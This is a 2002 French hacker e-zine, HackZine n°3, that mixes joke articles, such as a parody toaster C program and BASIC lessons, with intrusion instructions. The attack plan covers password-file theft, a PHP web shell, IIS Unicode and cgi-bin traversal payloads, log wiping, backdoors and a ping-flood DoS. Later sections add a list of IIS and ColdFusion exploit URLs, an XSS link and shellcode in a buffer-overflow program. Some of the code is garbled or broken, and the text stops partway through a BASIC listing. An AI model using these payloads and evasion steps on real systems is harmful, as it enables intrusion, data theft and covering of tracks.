 _______________________________________________________________________________________
(                                                                                       )
(  H    H        A          CCCCC     K   K      ZZZZZZ      I     N     N     EEEEEEE  ) 
(  H    H       A A        C          K  K           Z       I     NN    N     E        )
(  HHHHHH      A   A      C           KKK           Z        I     N N   N     EEEEE    )
(  H    H     AAAAAAA     C           K  K         Z         I     N  N  N     E        )
(  H    H     A     A      C          K   K       Z          I     N   N N     E        )
(  H    H     A     A       CCCCC     K    K     ZZZZZZZ     I     N    NN     EEEEEEE  )  
 _______________________________________________________________________________________


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
* Dsol pour la mauvaise qualit de cette prsentation, chuis nul en ascii art ...  HackZine, n3 / By [Kefka]* 
****************************************************************************************************************
*                                                                                                              *
|--------------------------------------------| // Dans ce numro                                               *
|-------------~~~~~~~~~~~~~~~----------------|    --------------                                               *
|-------------===============----------------| Introduction :=)                                                * 
|-------------   Hack rulez  ----------------| 1. Plan d'attaque d'un  serveur                                 *
|-------------_______________----------------| 2. Over-clocking de grille-pain                                 *
|--------------___HackZine___----------------| 3. Liste des ports les plus connus                              *
|-------------/ number three \---------------| 4. Hacker un serveur Windaube... ;)                             *
|------------(   By [Kefka]   )--------------| 5. La joie des buffer overflow                                  *
|-------------|    *****     |---------------| 6. La programmation en Basic                                    * 
|-------------~~~~~~~~~~~~~~~~---------------| 7. Quelques astuces sur la BDR                                  *
|--------------------------------------------| 8. Drgler le Bios de son pc                                   *
|----------------  Mai 2002 -----------------| 9. Madchat.org was hacked (By _2)                               *  
|--------------------------------------------| 10. Conclusion (pour finir ;) )                                 *
*                                                                                                              *
****************************************************************************************************************

 --------------
( Introduction )
 --------------

Well, come ! HackZine, troisime pisode de la saga, avec now une version destine aux hackers 
barjOs, donc crite uniquement avec NotePad (arf, aucun rapport... ) . 
Au sommaire donc, comme vous pouvez le constater, plein d'articles ininteressants sur le hacking 
de grille-pain, la programmation en BASIC, un langage vieux de 15 ans (:p), des failles bidon, 
du Windows  gogo des eclairssisments sur certains points (du moins je l'espre) et en prime, 
comment niquerle Bios de son pc !!! 
Chouette, c'est mes parents qui vont tre contents...
Pis je tiens kan meme  prciser que j'ai cris ce zine seul (koi c pas possible ???), et
que je ne pourrais tre en aucun cas responsable de ce que VOUS ferez avec le contenu de ce txt
bla bla...
 
Rappel important : cet e-zine n'est pas destin aux personnes suivantes :
        -lamers (je DETESTE les lamers)
        -personnes travaillant dans l'administration
        -personnes travaillant pour le gouvernement (beurkkkk)
        -les V, fuck DST lol
        -les personnes cardiaques 
        -les animaux (ahem...)
        -les extra-terrestres (zzzzzzz)
        -les anti-hackers (rrrrrrrr)
        -ba c'est tout je crois :o

Yeahhhhhhhhhhhh, now, on attaque !!! Ready? GOOOOOOOOOOOOOOO



 --------------------------------
( 1. Plan d'attaque d'un serveur )
 --------------------------------

# Etape 1 : Recupration des informations de l'host >>

Quelques commandes Linux:
$ finger @ip_serveur
$ nmap @ip_serveur
$ traceroute @ip_serveur

Si FTP anonyme, alors on fait :
$ get etc/passwd , pour rcuprer le fichier passwd, que l'on dcryptera
avec un utilz comme John the ripper, sauf si le pass est shadow, dans ce
cas prsent on ne peut rien faire,  moins que le vrai fichier soit dans
un repertoire en d rwxr-xr-- , mais bon c'est rare ...

Si nmap donne 69 comme port ouvert :
Il y'a une faille tftp, on essaye donc
$ evil %tftp
$ get etc/passwd
Mme chose que pour FTP anonymous

La commande finger nous permettra de voler le nom des users
La commande traceroute nous permettra d'avoir des infos sur le srv
afin de le mapper.
Les failles prsentes avec nmap peuvent galement nous permettre 
d'anticiper des "dnis de service" ,des "buffer overflow" nous y 
reviendrons plus tard.
Sinon nous pouvont lancer des scans de failles sur le serveur, grce
 des programmes comme NESSUS ou SATAN , failles qui pourraient tre
trs intressantes par la suite...
Et si vous tes un adepte de Windaube, d/l WsPingProPack, il peut vous
donner le mme type d'informations. (pour le scan de failles, d/l
VulnerabilityScanner ou NTscan, si vous comptez hacker un srv windows...)


# Etape 2 : Cration d'un compte sur le serveur

Si il existe un compte guest ou anonymous sur le serveur, c'est gagn.
Sinon, il va vous falloir mounter ce compte
Commande mount , pour monter sa partition via NFS  
Puis crer un uid dans le ficher passwd, puis crer
un fichier rhost pour pouvoir se connecter  notre compte guest via
la commande rlogin... ;=
Bon, cet exploit rlogin est malheureusement obsolte, et marche de moins
en moins souvent... Qu'importe, il existe plein d'autres exploits remote user,
 chercher sur le net (bon courage).

Ou sinon, on peut profiter d'une faille sur le serveur pour se forger
un compte/accs.

Exemple de failles :

-Faille include/php , qui permet d'inserer du script dans les pages.
Avec un script comme celui-ci, on pourra se logguer facilement :

<?
system($cmd);
?>

On place ca sur son serveur, et on l'execute a partir du site.
On obtient donc par ce script un account "Apache" sur le serveur... 
La grande classe ...

-Failles unicode, relatives  WindowsNT/XP/2000
Celles ci pourront nous permettre d'avoir accs au contenu du serveur.
http://www.site.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\

Mais bon, cette faille l est relative  Windaube, donc pas de root 
la cl, c'tait juste histoire de parler des failles UNICODES...  :))

-Failles cgi-bin, qui permettent de faire un tas de trucs, du genre :
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd , qui peut etre utlise pour
lire le fichier passwd
/cgi-bin/php.cgi?/etc/passwd, mme chose
/cgi-bin/phf?Q=x%0apwd , voir les repertoires

Etc, etc... Il y'en a des tonnes des comme a, impossible de tout mettre
Ce doc a juste pour but de vous prsenter le schma d'une attaque basique
ne l'oublions pas... ;))


# Etape 3 : Exploitation des failles

Ce n'est pas le mme type de failles que tout  l'heure...
Ces failles vont nous permettre de nous "rooter" sur le systme.
Quel type de failles? Ce sont gnralement des failles dues  des programmes,
comme par exemple Sendmail, ou le clbre exploit de la commande umount pour les SunOs
ou encore des buffer overflow (dpassement de tampon, voir chapitre 5) , trs  la mode 
chez les script kiddies.
On va donc chercher un exploit exploitant les faiblesses auparavant
dtectes sur le serveur. De toute vidence cela sera un exploit de type local root.
On va ensuite le placer sur son propre compte, le compiler (avec la commande 
$ gcc), puis l'xcuter sur le serveur...
Et si vous avez bien bosser, le shell root vous aurez... (cf. Frhack ;p)


# Etape 4 : On cache les preuves...

Si vous venez d'infiltrer un systme, la moindre des choses, c'est de
ne pas se faire prendre... Tout bon hacker devra alors effacer
ses sales traces de pattes sur le serveur, en effacant ou en ditant
les fichiers logs du serveur, succpetibles de vous retrouver.
Ces fichiers logs sont au nombre de trois :
Syslog, lastlogs et historiques sont des fichiers auxquels il faut
faire trs trs attention ...
Attention aux manips trop douteuses, agissez donc de nuit, avec prcaution,
sans effectuer de modifications trop, ahem... voyantes ... :(
Une fois les preuves cachs, on aura du mal  vous retrouver !! (cf. moi mme... )


# Etape 5 : On fabrique une backdoor

On va devoir maintenant s'amnager une backdoor, une "porte de derrire"
pour pouvoir revenir quand bon nous semble sur le serveur.
De nombreuses backdoor dj toutes faites vous attendent sur le Net
(comment ne pas parler ici du clbre "rootkit", qui fit la joie des
script kiddies l't dernier...)

Le problme, c'est quand dans la plupart des cas, il faudra rebooter 
le serveur pour activer la backdoor...

O est le problme ??? Et bien, simplement, les serveurs ont une adresse
IP fixe, et sont donc connects 24 heures sur 24 sur la toile...
Alors, pour rebooter ces infatigables serveurs, il vous faudra faire
ce que l'on apelle un "dnis de service", aussi apell Denial of Service,
ou DoS selon votre niveau en Anglais...  :p

Exemple de DoS ? Heuuu par exemple vous pouvez programmer (beurkk oui 
je sais c'est chiant :p) un script qui executera une srie de commandes
alatoire de manire rptitive qui pourront,  force, faire planter
le serveur...
Egalement, vous pouvez utliser la technique de l'oversize packet :
ping -| 65000 www.site.com
Ou 65000 correspond au nombre de requtes ping  envoyer, il faut en mettre
suffisament pour faire rebooter le serveur...
Mais bon, la plupart du temps vous recevrez un message de time out, et
puis c'est assez long comme mthode, faut tre patient... :p

Sinon, maitenant que vous tes root, vous pouvez aussi installer un BEAU
sniffer en tte de rseau, avec filtre sur rlogin/rpass ... mmmm
Arf, enfin rvez pas trop quand mme...

Parce qu'on peut en faire des choses quand on est root... Justement >>


# Etape 6 : Kekonf kan kon est root ???

Y'a plein de trucs  faire... Dj vous avez l'ide du sniffer, que je ne 
vais pas rexpliquer ici.
Sinon, vous pouvez faire ce que font  peu prs 90% des hackerz quand
ils infiltrent un systme, c'est  dire modifier la page d'accueil du
site, gnralement index.htm , vous pouvez fouiller dans /pub pour a.. :))

Un truc  pas faire quand mme, les crashs, c'est  dire niquer tous les
fichiers, nan nan c'est pas bien a...
Respectons quand mme les admins rseau !!! :/

Mais encore... Euhhhh je vois pas l, intercepter des courriers lectroniques
peut tre? Les e-mails normalement constitus sont placs dans /usr/truc/mail ...

Bon, j'ai pas trop d'ides, je vous pargne les techniques de syn flood,
vraiment trop lame ...

Enfin, comme disait Octagon dans NoRoute#1, le but d'un root, c'est surtout de l'avoir...
N'est ce pas ??? !!!



 ---------------------------------
( 2. Over-clocking de grille-pain )
 ---------------------------------

*. Avant de commencer
-=-=-=-=-=-=-=-=-=-=-=

Il est d'abord ncessaire de revoir la chartre du programmeur, les principales rgles  
respecter... 10 commandements exactement :)
 
Voil donc le rglement intrieur du parfait programmeur :

1. Ne jamais faire simple quand on peut faire compliqu, exemple pour afficher un message,
on prferera une ligne du genre : for (i=0, i<=int rand*99999, i++) { printf("\nProg\irulez"); }
plutt que : printf("Progrulez"); ...
2. Ne jamais insrer de commentaires dans son programme, ou alors des commentaires qui n'ont
rien  voir avec le programme.
3. Recopier les codes sources des autres et mettre son nom  la place peut tre galement une 
trs bonne ide,  condition de changer deux trois trucs...
4. Si quelqu'un vous pose une question sur votre programme, tachez de rpondre le moins
clairement possible, ou encore d'ignorer votre interlocuteur. Sinon il pourrait penser que
vous tes un gars cool, et risquerait de vous poser d'autres question chiantes...
5. Ne jamais rendre le code source d'un programme dans les temps prvus, sinon on pourrait
penser que le programme tait facile  mettre en place, et donc on vous manquerait de respect.
6. Ne jamais crer des programmes pouvant tre utile pour les autres gens, sinon on vous 
respecterait trop, et on pourrait encore une fois vous poser des questions.
7. Ecrire donc surtout des programmes sans intret, sans aucun sens, ou qui dveloppent des
ressources encore inutilisables pour l'instant (comme c'est le cas pour le programme)
8. Pour crer un programme, vous pouvez aussi reprendre des codes sources que vous aviez
auparavant cris, ne vous inquietez pas, personne ne se doutera de rien.
9. La programmation peut rendre dpendant, alors n'en abusez pas trop o vous ne tarderez pas
 rejoindre le club des "Programmeurs Anonymes", c.f : Premire ligne, J.M Laclavetine
10. Afin de peaufiner votre travail, n'hsitez pas  rajouter des petits commentaires du style
"Thanks untel", comme c'est le cas pour le programme que je vais vous prsenter. En effet,
ces remerciements vous permettront de montrer aux gens que vous avez des amis...

Et puis, la rgle ultime, bien sr, c'est de NE PAS PROGRAMMER, a peut tre trs mauvais pour 
la sant pensez-y... 
Bon, allez now on  va apprendre  overclock un grille-pain, en respectant bien naturellement 
les dix commandements du parfait programmeur...  LOL


1. Le principe
-=-=-=-=-=-=-=-

Si il y'a une question existentielle que tout le monde s'est pos au moins une fois dans sa
vie, c'est srement celle-ci : "Peut on griller des tartines  partir de son pc ?"
Aprs de nombreuses heures de travaux intempestifs, j'ai enfin cre LE programme, le seul, 
qui vous permettra de connecter votre grille-pain  votre pc.

Alors, comment kon f ???

Et bien pour cela c'est trs simple, nous allons connecter notre grille-pain sur le port USB 
qui va se connecter au socket de notre tartine (si si je vous assure !). 
Cette connection va amplifier progressivement la chaleur de l'unit centrale, et provoquer
au final un court circuit complet dans un rayon d'action de 200 mtres carrs...

Pour cela nous allons donc crer un programme, qui permetra  n'importe quel utlisateur lambda 
de faire griller ses propres tartines sur son pc, au moyen de la chaleur dgage par l'UC...
En effet, vous imaginez bien, votre pc ne va pas se mettre  griller vos tartines par magie...

Etudions donc les diffrentes structures de ce programme.

NB : Malgrs mes nombreuses recherches sur le sujet, je n'ai pas encore trouv comment faire
pour connecter un grille-pain sur Internet. 
Alors, si vous le savez contactez moi, la science en a besoin !! nickairmax@caramail.com


2. La structure de notre socket
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Si vous tes habitus  la programmation rseau , vous savez dj comment se compose la 
cration d'une socket en C, c'est  dire: 

int socket(int domain, int type, int protocol);

O : - domain reprsente le domaine d'adressage de la socket. Pour notre grille-pain, le 
domaine sera donc AF_GRILLEPAIN , conformment aux documents RFC 23/9/14/4/15/23/19  
(pouah y'a du billou la dessous :p)
     - type reprsente la manire dont la socket va transmettre les donnes. Donc, dans notre programme
le type sera SOCK_USB , car nous transmettrons les donnes du port USB au grile-pain
     - protocol dsigne le protocole employ par la socket. Ici, cela sera le protocole 
IP_PROTO_TARTINE , numrot 65536 sur la liste des ports...

Nous savons donc comment se formera la socket de notre grille-pain :
Tartine = socket(AF_GRILLEPAIN, SOCK_USB, IPPROTO_TARTINE)

Ces domain, type et protocol spcifique sont contenus das la librairie sys/tartine.h .

Maintenant on va s'occuper de la cuisson de la tartine, dfini dans la fonction grillage(), 
ellemme dfinie dans la librairie de fonctions sys/grille-pain.h . 
Cette fonction s'organise comme a : grillage(tartineName, Voltage, dure)
O Voltage et Dure sont normalement dfinis dans les headers. (A noter que dure est 
facultatif dans cette fonction, si la dure a dj t incrmente dans la boucle for, 
ce qui est le cas ici)

Voil, vous savez tout, place au programme complet.


3. Le code source
-=-=-=-=-=-=-=-=-=

/********************** GrillageTotal.c , By [Kefka] ***********************/
/* Si vous comprendez quoi que ce soit au programme, veuillez me contactez */
/* Idem si vous arrivez  vous procurer les librairies dcrites ci dessous */
/* Contactez moi donc  nickairmax@caramail.com ou retrouvez moi sur irc.. */
/***************************************************************************/

/* Dclaration des directives G/T (grille-pain/tartine) et E/S (entre, sortie) */
#include <stdio.h>
#include <sys/grille-pain.h>
#include <sys/tartine.h>
#include <usb.h>
/* Dclaration des define */
#define Voltage = 220  // 220 volts pour la France 
#define Dure = 180  // 3 minutes me semble tre une bonne dure pour faire griller une 
tartine alimente par 220 volts... (dsl je suis TRES mauvais cuisinier)

int grille-pain(char tartine[], int dure)  // Fonction grille-pain, thanks "Le livre du parfais cuisinier"
{
   struct sockaddr_in addrsocket;  // Structure sockaddr
   struct hostent *tartine;  // Dclaration de la structure hostent, qui porte sur le pointeur "tartine"
   tartine = getcountrybyVoltage(tartineName);  // Localisation de la tartine en fonction du voltage (ici 220 volts) 
   addrsocket.sin_family = AF_GRILLEPAIN;  // Initialisation des structures, enfin bref...
   addrsocket.sin_addr = *(struct in_addr*)tartine -> h_addr;  // Affectation de l'adresse du socket

   printf("Lancement de: , tartine -> h_name);  // Affichage de l'adresse IP de la tartine 
   en fonction de sa localisation

   for (i=0, i<= dure, i++)  // Boucle for, qui dtermine la dure de la cuisson ;) 
      {
      tartine = socket(AF_GRILLEPAIN, SOCK_USB, IPPROTO_TARTINE); // Notre fameuse socket de tartine, 
      que l'on connecte au port USB
      grillage(tartine, Voltage);  // La fonction grillage() s'occupe de la cuisson   
         printf("La tartine %s est prte  tre mange, bon appetit !!\n", tartinename);  
         // La tartine est grille, cool
         close(tartine);  // on ferme la socket de la tartine
         }
      }
}
int main(void)  // Notre fonction principale
printf("Bienvenue dans GrillageTotal , cod par [Kefka]\n");
printf("Veuillez insrez la tartine dans le grille pain, donnez un nom  votre tartine et 
appuyez sur entre\n");
scanf(" %s", tartinename);
if(connect(tartine,(struct sockaddr *)&addrsocket, sizeofaddrsocket)>=0)  // On teste si la 
connection a reussi...
   {
   grille-pain(tartinename);  // Et si oui, alors on apelle la fonction grille-pain() 
pour griller la tartine.
   }
return 0;
}
  

4. Bonus
-=-=-=-=-=

Pour compiler :
gcc GrillageTotal.c -o GrillageTotal 

Attention tout de mme  ne pas trop abuser avec ce programme, car il est succeptible d'tre 
dangeureux, surtout si vous arriver  le faire fonctionner...

Trs prochainement, le dtail des librairies de fonctions utlises !!!

Bon fun,  bientt !!!



 ------------------------------------
( 3. Liste des ports des plus connus )
 ------------------------------------

Cette liste est prsente sur le fichier 'listedesports.txt' , ci-joint.
Pour des raisons de place, il met impossible d'en diffuser ici le 
contenu (NDLR : la bte fait quand mme plus de 300 ko !! ), et puis,
foutre la liste des 65536 (en comptant le protocole tartine, cf. chapitre
prcdent :p) ports rallongerait considrablement cet e-zine...

Quoique, sans cette liste, du coup je me retrouve avec un e-mag pourri
de 20 pages !!! grrr bon on continue le massacre  ;)


 
 --------------------------------- 
( 4. Hacker un serveur Windows NT )
 ---------------------------------

Les ordinateurs bootant sous Windows ont toujours t mes cibles favorites...
En effet Windows est bourr de bugs en tout en genre, qui donnent carrement envie de sauter
par la fentre... (c'est sans doute pour a que cela s'apelle Windows)
On se demande mme si Billou ne ferait pas un peu exprs de nous refiler des O.S de merde, qui
font, il faut le dire, ple figure  - point de vue technique - aux autres systmes d'exploitation
comme les nombreuses distrib' Linux ou BSD , pour ne citer qu'eux...
Point de vue technique seulement... Faut quand mme dire que ce satan Windows se vend plutt
bien (la preuve je l'ai, moi ! :p) . 
Mais on va surtout parler des failles facilement exploitables des serveurs tournant sous Windows,
seveurs IIS, tout a... Le principal dfaut des serveurs pour windows, c'est qu'ils tournent
sous Windows (et oui ! mdr) et ce systme est loin d'tre parfait...
J'entend dj les puristes me dire que Windows peut tre trs 'secure' si il est bien configur...
Encore faudrait il bien les configurer !
De toute faon, Windows en lui mme est mal foutu... Un utilisateur qui a accs  un serveur
Windows a tous les droits dessus ! Alors si vous tenez  vos chtits fichiers optez pour un O.S
multi-utilisateurs, genre Linux (bien que Linux soit pas non plus au top de la scurit hhh)
Et pour finir, ce qui est bien avec l'informatique en gnral, c'est que un systme scuris
n'existe pas !!! Du moins pour le moment...

Bon, j'arrte mon speech, on va tout de suite passer  la pratique.
Voil donc un petit rcapitularif des failles relatives  windowsNT ( la vache y'en a beaucoup ! ;p)

FAILLE IIS UNICODE
La faille IIS Unicode est une faille trs connue, qui a d'ailleurs fait les beaux jours des
script kiddies l't dernier (et qui continue encore  faire mon bonheur :)) )
Elle permet de pntrer un serveur et de voir tous les fichiers qui y sont ainsi que de les copier, 
les supprimer et en crer de nouveaux. 
Elle permet galement d'uploader des fichiers locaux et de downloader des fichiers distants, mmm

Voil la commande a rentrer dans votre navigateur pour pouvoir pntrer un serveur ayant la 
faille iis unicode :

http://site/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\
Exemple :
http://www.sitedemoncul.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\

Et cela fait un dir sur le serveur,  partir de l vous allez pouvoir vous amuser :p

Autres commandes :
COPY : Copie un ou plusieurs fichiers vers un autre emplacement 
DEL : Supprime un ou plusieurs fichiers
DIR : Affiche une liste de fichiers et de sous-rpertoires dans un rpertoire. 
EDIT : Editeur de texte en mode DOS 
MD : Cre un rpertoire 
RD : Supprime ou efface un rpertoire 
REN : Renomme un fichier/rpertoire ou un groupe de fichiers/rpertoires 

Toutes ces commandes sont  mettre a la place de dir et il fo enlever le /s :
Exemple : http://lesite/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\

A noter galement que vous pouvez remplacer le /scripts/ par /iisadmin ou /_vti_bin/.
Pour faciliter les choses, procurez vous VulnerabilityScan ou NTscan ...    ;=


FAILLE COLDFUSION 
Cette faille vous permet d'afficher n'importe quel fichier present sur le disque dur de l'hote. 

Exemple :
http://www.site.com/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\autoexec.bat
Ceci affichera le fichier c:\autoexec.bat arffffff


FAILLE .htr
Cette faille permet d'afficher le contenu d'un fichier.
Exemple :
http://www.sitebidon.com/fichier.txt+.htr


FAILLE shtml.exe
Cette faille permet d'obetnir le path du site web sur le disque dur du serveur (path qui est 
par defaut c:\InetPub\wwwroot\). Pour l'exploiter il faut aller  cette adresse :
http://www.sitebidon/_vti_bin/shtml.exe/fichier.htm
Mais avec shtml, on peut surtout faire executer du script hostile :)
http://www.sitebidon.domainebidon/shtml/<script langage="javascript">alert("Hacked");</script>
Vous pouvez par exemple envoyer des virus en javascript sur une bote de reception, 
partir de cette simple adresse ! Regardez, supposons que j'envoie ceci en html :

<html>
<body>
<a href="http://www.site.com/shtml/<script langage="Javascript">for (i=0;i<5000;i++) { window.open("about:blank"); }</script>Cliquez ici !!! :p</a>
</body>
</html>

Ds que la victime cliquera sur ce lien prsent en html, elle ira sur le site
ayant la faille shtml.exe et executera sans le savoir mon code javascript, qui
lui ouvrira 5000 fentres vides !! Bon, c'est juste un exemple hein, peux mieux faire...


FAILLE shtml.dll
Cette faille permet d'executer un script hostile : si, sur un site ce lien apparait :
<a href="http://serveursecurise/_vti_bin/shtml.dll/<script>script de code hostile  placer ici
</script>">http://serveursecurise</a>
Le script sera pass dans la requte http et l'utilisateur qui a cliqu sur le lien arrivera 
sur le site serveur securise o une page d'erreur affichera le code hostile (et l'executera).
Mme chose que pour tout  l'heure...


FAILLE query
Cette faille permet aussi d'afficher n'importe quel fichier present sur le disque dur du serveur : 

http://site/query.idq?CiTemplate=../../../win.ini
Ceci affichera le fichier win.ini  la racine du disque dur.


Hummm voil, y'en a dj un paquet. 
Ca devrait vous divertir pour un bon moment...



 --------------------------------
( 5. La joie des buffer overflow )
 --------------------------------

Bon, le buffer overflow, vous devez connatre. En bref, le buffer overflow (nb: en franais, 
ca veut dire "depassement de tampon") est une procdure visant  accder  la zone mmoire d'un
programme ayant le suid 0 , on va alors pouvoir obtenir un joli shell root...
On va donc s'attaquer  la programmation d'un buffer overflow.
Le buffer overflow que nous allons raliser va forcer la mmoire et craser la zone qui se 
trouve aprs, c'est  dire la valeur de retour de notre fonction.
On va donc accder, avec un peu de chance, 
 une zone de mmoire appartenant au root...
 
Le shellcode varie selon le systme d'exploitation. 
voici donc le listing d'un buffer overflow de base, avec un shellcode quelconque, 
le tout est que vous compreniez.


/* Dclaration des headers */
#include <string.h>

/* Notre fameux shellcode */
char shellcode[] = 
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a"
		"\x80\xe8\xdc\xff\xff/bin/sh";

char name1[128];
int main(int ac, char **av)
{
   char name2[96];
   int i;
   long *name3;

   name3 == (log *)name1;
   for (i=o; i<32; i++)
      *(name3 + i) = (int) name2;
   for (i=0; i<strlen(shellcode); i++)
      name1[i] = shellcode[i];     	
   strcpy(name2, name1);
   return (0);
}




***************************************************************


Reste  compiler :
gcc buffer.c -ggdb -02 -o buffer


***************************************************************

Voici prcisment le fonctionnement de ce programme :

1/ On rempli le tableau de name1 avec l'adresse de name2, qui est l o on crira notre shellcode.

2/ On copie le shellcode au dbut de name1.

3/ Notre shellcode va faire un execve dans le repertoire /bin/sh, ce qui nous donne un shell root.

4/ La fonction strcpy() va alors copier name1 dans name2, sans se soucier des zones de mmoires
 alloues pour chacune de ces deux chanes, et c'est l que tout va se jouer...

Cette fonction va alors dpasser la valeur de retour de la fonction, en l'crasant avec 
l'adresse  o notre shellcode est situ. Et quand le programme atteint la fin de la fonction
main(),  l'instruction return, il retourne sur le shellcode et du coup execute un shell, 
qui devrait tre celui du root avec un peu de chance.... ;p

J'espre avoir t assez clair, dmerdez vous avec a, mon but n'est pas de donner gratuitement
des armes de guerre aux script kiddies, mais plutt vous initier aux joies des buffer overflow.

Reste encore  compiler le programme dans un repertoire sur votre compte sur le serveur.
( un compte K$ , mount via nfs avec Linux, mais vu que ce zine est pas trs orient 
'Hacking de serveurs Linux" on en parlera dans un autre numrhost ( <--- subtil a :p) )



 ------------------------------
( 6. La programmation en Basic )
 ------------------------------

Rem : Lisez cet article depuis votre Amstrad CPC, c'est mieux.

Huh, programmer en Basic, mais pourquoi faire? 
Et bien? heu..... Pour pas grand chose en fait.
Nous allons parler ici du langage Basic, un trs vieux langage dont on se servait autrefois
sur Amstrad cpc, ahh que de souvenirs ;=) .
Ce langage a la particularit d'tre trs facile  apprendre, car non-strucutur, et est
surtout trs utile si vous avez l'intention de vous dgouter de la programmation.
En effet, de trs srieures tudes ont dmontrer qu'il tait impossible d'apprendre un bon 
style de programmation  des tudiants qui avaient dj goter aux joies du Basic...
Personellement, autrefois je programmais bien des jeux en Basic, cela ne m'a pas empech
d'apprendre le Java, le C, ou d'autres langages structurs de haut niveau...
Bon, malheuresement, j'ai un peu oublier le basic ces derniers temps, va falloir que
je me remette  niveau...

N'importe qui peut programmer en Basic, mme vous !

On va tout de suite voir les instructions les plus courantes :

PRINT , pour afficher du texte.
INPUT , pour demander  l'utilisateur d'assigner une valeur  une variable.
CAT , pour afficher le contenu d'une disquette.
RUN , pour executer un programme.
IF...THEN , structure conditionnelle.
FOR...NEXT , boucle For.
BREAK , pour sortir d'une boucle, enfin je sais plus trs bien si cette instruction
est valide en basic, j'espre ne pas confondre .. enfin  :/) .
GOTO...RETURN , boucle Goto.
END , pour marquer la fin d'un programme.
SOUND , pour mettre du son dans ses programmes.
REM , pour insrer des remarques dans ses programmes, cela peut tre remplac par " ` ".
CLS , pour effacer le contenu de l'cran.
LINE , pour dessiner des graphiques, lignes, dessins, etc...
LOCATE , pour assigner une location  une varible dans un tableau de caractres.
SELECT...CASE , instruction conditionnelle gale  switch..case (dans beaucoup de langages de prog).
LOOP , pour faire un looping, lol, pour quitter une boucle (=break).
Variable/Valeur = Valeur/Variable , pour assigner une valeur/variable  une autre variable/valeur.
DO , a je sais plus trs bien, j'ai la mmoire qui flancheee, je crois que c'est pour marquer
une suite d'instructions  faire, une procdure en quelque sorte.

Bon, enfin bref, c'est donc du BASIC qu'on va parler ici, mais attention du VRAI Basic, le premier
et pas ses dernires volutions comme le QBasic, nan nan nan Lol.
On va en fait parler du basic comme je l'ai connu, au temps des amstrad cpc, dans les annes 80,
ca fait donc un bon bail de temps :p .

Voil pour commencer un petit programme trs simple en Basic :

10 REM Les lignes sont numrotes en basic
20 ' on peut remplacer le rem par '
30 PRINT "bonjour" 
40 ' print va afficher "bonjour"
50 ? "je vais te poser quelques questions"
60 '  noter que l'on peut remplacer PRINT par ?
70 INPUT "quel est ton prnom ? ";A$
80 ' on demande  l'utilisateur de donner son prnom, prnom que l'on stockera dans la 
variables "A" ,  noter le $ qui signifie que A sera une chane de caractres.
90 PRINT "bonjour ";A$
100 ' le programme utilise le prnom que vous avez donn pour vous dire bonjour
110 INPUT "quel ge as tu ? ";B
120 IF B > 18 THEN GOTO 200
130 ELSE GOTO 150
140 REM si votre ge (B) est suprieur  18, on va (GOTO)  la ligne 200.
Sinon (ELSE) on va  la ligne 150 (GOTO 150) .
150 ? "ohh tu es trs jeune encore !"
160 C=18-B
170 ? " tu seras majeur dans ";C 
180 ? " annes, bravo !"
185 ' on peut mettre n'importe quel numro de lignes, pourvu que cela se suive.
190 GOTO 210
200 ? "oo tu es dj majeur, bravo"
210 ? " bon je vais te laisser"
220 END

Voil, et c'est surement pour a que cela s'apelle Basic, la langage est comprhensible
par n'importe que nophyte !!!
Certes, j'avoue que parfois, on a du mal  s'y retrouver...

Voil maintenant le code source d'un jeu que j'ai rcupr sur le Net (PS / Il n'est pas de
moi, pas de fausse joie :(( )
Ah oui,  noter que ce programme a t cris en Qbasic, il y'a donc quelques diffrences 
noter avec le basic, comme par exemple les lignes ne sont pas toutes numrotes.

Ce programme vous mets dans la peau d'un ver de terre enferm dans un labyrinthe...
Un challenge vraiment intressant...

22 CLS
REM Ecran de prsentation 
SCREEN 1 
LINE (50, 10)-(20, 10) 
LINE (20, 10)-(20, 40) 
LINE (20, 40)-(50, 40) 
LINE (50, 40)-(50, 70) 
LINE (50, 70)-(20, 70) 
LINE (65, 10)-(115, 10) 
LINE (90, 10)-(90, 70) 
LINE (130, 10)-(175, 10) 
LINE (175, 10)-(175, 70) 
LINE (175, 70)-(130, 70) 
LINE (130, 70)-(130, 10) 
LINE (190, 10)-(190, 70) 
LINE (190, 10)-(230, 10) 
LINE (230, 10)-(230, 40) 
LINE (230, 40)-(190, 40) 
LINE (190, 40)-(230, 70) 
LINE (245, 10)-(245, 70) 
LINE (245, 10)-(273, 40) 
LINE (273, 40)-(301, 10) 
LINE (301, 10)-(301, 70) 
LINE (15, 5)-(306, 5) 
LINE (306, 5)-(306, 75) 
LINE (306, 75)-(15, 75) 
LINE (15, 75)-(15, 5) 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " Version 2" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT " Pour jouer" 
PRINT "" 
PRINT " Appuyez sur a" 
LINE (80, 110)-(200, 110) 
LINE (200, 110)-(200, 150) 
LINE (200, 150)-(80, 150) 
LINE (80, 150)-(80, 110) 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "" 
PRINT "(C)Copyright Clem Hedon Corp. 1999" 
15 IF INKEY$ = CHR$(97) THEN GOTO 30 
GOTO 15 
30 CLS 
PRINT " " 
PRINT " " 
PRINT " Quelle difficult ?" 
PRINT " " 
PRINT " " 
PRINT " " 
PRINT " " 
PRINT " 1 = facile" 
PRINT " 2 = moyen" 
PRINT " 3 = difficile" 
PRINT " 4 = impossible" 
LINE (70, 10)-(240, 10) 
LINE (240, 10)-(240, 30) 
LINE (240, 30)-(70, 30) 
LINE (70, 30)-(70, 10) 
REM Le programme dfinit le code dcimal des touches et rpond quand l'utilisateur presse
